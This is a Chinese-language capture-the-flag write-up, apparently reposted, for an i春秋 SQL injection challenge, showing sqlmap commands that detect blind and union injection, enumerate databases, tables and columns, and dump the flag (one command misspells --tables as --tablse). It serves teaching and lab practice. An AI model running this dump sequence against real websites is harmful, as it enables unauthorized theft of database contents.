安全-SQL注入-1（i春秋）

Posted 2021-08-11 小狐狸FM

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了安全-SQL注入-1（i春秋）相关的知识，希望对你有一定的参考价值。

一、题目

在这里插入图片描述

访问页面后发现传入了一个值为1的参数

在这里插入图片描述

使用的是sqlmap工具进行数据库的注入和检测，需要python环境
可以去sqlmap官网下载对应的压缩包，并解压缩到本地

在这里插入图片描述

然后在cmd中移动到sqlmap对应的路径，
命令：cd [路径]

在这里插入图片描述

先运行一下sqlmap，如果有出现下面的图标就表示sqlmap可用
如果你是使用kalinux中的sqlmap时，命令python sqlmap.py可以改为sqlmap
命令：python sqlmap.py

在这里插入图片描述

之后检测一下目标网址是否存在sql注入
命令：python sqlmap.py -u [网址]
命令：python sqlmap.py -r [抓包请求]

在这里插入图片描述

存在着基于布尔盲注、时间盲注和联合查询的漏洞

在这里插入图片描述

使用--dbs爆数据库，可用的数据库共四个
test、information_schema、mysql和performance_schema是Mysql中默认的数据库
命令：python sqlmap.py -u [网址] --dbs

在这里插入图片描述

经过多次查询后，发现flag是存在于note数据库中，之后查询note存在的数据表
命令：python sqlmap.py -u [网址] -D [数据库名] --tablse

在这里插入图片描述

共有两张表，fl4g和notes，很大概率flag在第一张表中，所以先查询一下fl4g存在的字段
命令：python sqlmap.py -u [网址] -D [数据库名] -T [表名] --columns

在这里插入图片描述

里面存在一个fllllag的字段，爆破一下字段的值找到了flag
命令：python sqlmap.py -u [网址] -D [数据库名] -T [表名] -C [字段名] --dump

在这里插入图片描述

以上是关于安全-SQL注入-1（i春秋）的主要内容，如果未能解决你的问题，请参考以下文章